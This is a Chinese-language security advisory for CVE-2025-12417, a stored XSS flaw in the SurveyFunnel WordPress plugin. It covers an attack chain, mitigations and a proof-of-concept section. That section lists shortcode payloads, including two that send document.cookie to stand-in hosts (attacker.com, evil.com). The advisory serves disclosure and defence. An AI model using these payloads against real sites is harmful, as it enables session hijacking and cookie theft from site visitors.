IPBUF安全漏洞报告
English
CVE-2025-12417 CVSS 6.4 中危

CVE-2025-12417 WordPress SurveyFunnel插件存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-12417
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SurveyFunnel – Survey Plugin for WordPress

相关标签

存储型XSSWordPress插件漏洞短代码注入CVE-2025-12417SurveyFunnelCross-Site ScriptingWeb应用安全认证用户攻击内容管理系统漏洞

漏洞概述

SurveyFunnel是WordPress平台上一款流行的调查问卷插件。该插件在1.1.5及之前版本中存在严重的存储型跨站脚本(XSS)漏洞。漏洞根源在于插件的surveyfunnel_lite_survey短代码处理器对用户提供的属性参数缺乏有效的输入 sanitization(清理)和输出 escaping(转义)。具有 contributor(贡献者)级别及以上权限的认证用户可以利用此漏洞在页面中注入任意JavaScript脚本。由于是存储型XSS,恶意脚本会被永久保存在服务器端,任何访问含有恶意代码页面的用户都会触发执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。该漏洞CVSS评分6.4,属于中等严重程度,但由于攻击门槛较低(只需低权限账号)且影响范围广泛,建议尽快修复。

技术细节

漏洞存在于插件的公共端处理模块public/class-surveyfunnel-lite-public.php第240行附近。当用户通过WordPress短代码机制调用[surveyfunnel_lite_survey]功能时,插件直接使用用户输入的属性值而未进行适当的安全处理。攻击者可以通过构造恶意属性参数(如在survey_id参数中注入<script>标签或事件处理器如onerror/onload)来注入JavaScript代码。由于WordPress短代码属性默认不经过转义处理,这些恶意脚本会被保存到数据库中,并在页面加载时执行。存储型XSS的特点是payload持久化,无需像反射型XSS那样诱导用户点击特定链接。攻击者通常利用此漏洞窃取用户Cookie(通过document.cookie)、劫持会话、修改页面内容进行钓鱼或植入恶意重定向。防御此类漏洞需要在输出时对所有用户可控数据进行HTML实体编码,并使用wp_kses等函数白名单过滤输入。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用的WordPress版本和SurveyFunnel插件版本,确认版本≤1.1.5
STEP 2
2. 权限获取
攻击者通过社会工程、凭证填充或利用其他漏洞获取WordPress contributor级别或更高权限的账户
STEP 3
3. Payload构造
攻击者构造包含恶意JavaScript代码的短代码属性,如在survey_id参数中注入<script>标签或事件处理器
STEP 4
4. 漏洞利用
通过WordPress编辑器或API将恶意短代码插入到文章/页面中,payload被保存到数据库
STEP 5
5. 脚本执行
当其他用户访问包含恶意代码的页面时,浏览器解析HTML并执行注入的JavaScript
STEP 6
6. 攻击达成
攻击者通过JavaScript窃取用户Cookie、会话令牌或其他敏感信息,或进行进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-12417: SurveyFunnel Stored XSS --> <!-- Authenticated attacker with contributor+ role can inject JavaScript --> <!-- Method 1: Using script tag --> [surveyfunnel_lite_survey survey_id='"><script>alert(document.cookie)</script>'] <!-- Method 2: Using event handler --> [surveyfunnel_lite_survey survey_id='x' onload='alert("XSS")'] <!-- Method 3: Using img onerror --> [surveyfunnel_lite_survey survey_id='x' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- Method 4: Stored XSS via shortcode attribute --> [surveyfunnel_lite_survey survey_id='<img src=x onerror=document.location="https://evil.com/log?cookie="+document.cookie>']

影响范围

SurveyFunnel Lite plugin ≤ 1.1.5

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时措施:1) 限制用户注册功能,禁止创建contributor及以上权限账户;2) 使用WordPress安全插件(如Wordfence)监控可疑的短代码使用;3) 临时禁用SurveyFunnel插件;4) 加强对用户生成内容的审查机制;5) 实施严格的CSP策略阻止内联脚本执行。同时建议审查所有使用该短代码的页面,清理可能存在的恶意内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表